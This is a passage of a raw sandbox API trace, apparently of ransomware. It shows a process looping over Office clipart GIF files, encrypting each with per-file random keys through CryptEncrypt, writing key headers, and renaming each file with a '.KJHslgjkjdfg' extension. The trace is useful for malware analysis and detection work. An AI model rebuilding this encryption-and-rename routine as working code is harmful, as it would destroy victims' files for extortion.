RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.239] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.239] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.239] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.239] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.239] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.240] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.240] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x84b7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x84b7, lpOverlapped=0x0) returned 1 [0192.241] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x84c0, dwBufLen=0x84c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x84c0) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.241] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x84c0, lpOverlapped=0x0) returned 1 [0192.242] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.242] SetEndOfFile (hFile=0x130) returned 1 [0192.245] GetProcessHeap () returned 0x990000 [0192.245] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.245] GetProcessHeap () returned 0x990000 [0192.245] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.kjhslgjkjdfg")) returned 1 [0192.246] CloseHandle (hObject=0x130) returned 1 [0192.246] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0192.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.248] GetProcessHeap () returned 0x990000 [0192.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.248] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0192.250] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.250] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.250] GetProcessHeap () returned 0x990000 [0192.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.251] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.251] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.251] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.251] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.251] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.251] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.251] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.251] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.251] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.251] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x409f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x409f, lpOverlapped=0x0) returned 1 [0192.252] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40a0, dwBufLen=0x40a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x40a0) returned 1 [0192.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.253] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x40a0, lpOverlapped=0x0) returned 1 [0192.253] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.253] SetEndOfFile (hFile=0x130) returned 1 [0192.256] GetProcessHeap () returned 0x990000 [0192.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.256] GetProcessHeap () returned 0x990000 [0192.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.kjhslgjkjdfg")) returned 1 [0192.257] CloseHandle (hObject=0x130) returned 1 [0192.257] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0192.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.258] GetProcessHeap () returned 0x990000 [0192.258] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.258] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0192.261] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.261] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.261] GetProcessHeap () returned 0x990000 [0192.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.261] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.261] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.261] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.261] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.261] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.261] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.262] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.262] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.262] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.262] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc8c9, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc8c9, lpOverlapped=0x0) returned 1 [0192.263] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc8d0, dwBufLen=0xc8d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc8d0) returned 1 [0192.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.264] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc8d0, lpOverlapped=0x0) returned 1 [0192.264] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.264] SetEndOfFile (hFile=0x130) returned 1 [0192.268] GetProcessHeap () returned 0x990000 [0192.268] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.268] GetProcessHeap () returned 0x990000 [0192.268] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.kjhslgjkjdfg")) returned 1 [0192.269] CloseHandle (hObject=0x130) returned 1 [0192.269] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0192.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.270] GetProcessHeap () returned 0x990000 [0192.270] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.270] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.270] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0192.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.273] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.273] GetProcessHeap () returned 0x990000 [0192.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.273] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.273] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.273] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.274] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.274] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.274] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.274] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1367, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1367, lpOverlapped=0x0) returned 1 [0192.275] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370) returned 1 [0192.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.275] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1370, lpOverlapped=0x0) returned 1 [0192.275] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.275] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.275] SetEndOfFile (hFile=0x130) returned 1 [0192.278] GetProcessHeap () returned 0x990000 [0192.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.278] GetProcessHeap () returned 0x990000 [0192.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.kjhslgjkjdfg")) returned 1 [0192.280] CloseHandle (hObject=0x130) returned 1 [0192.280] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0192.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.280] GetProcessHeap () returned 0x990000 [0192.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.280] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.281] GetProcessHeap () returned 0x990000 [0192.281] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.281] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.281] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.281] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.283] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.283] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.284] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.284] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.284] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, 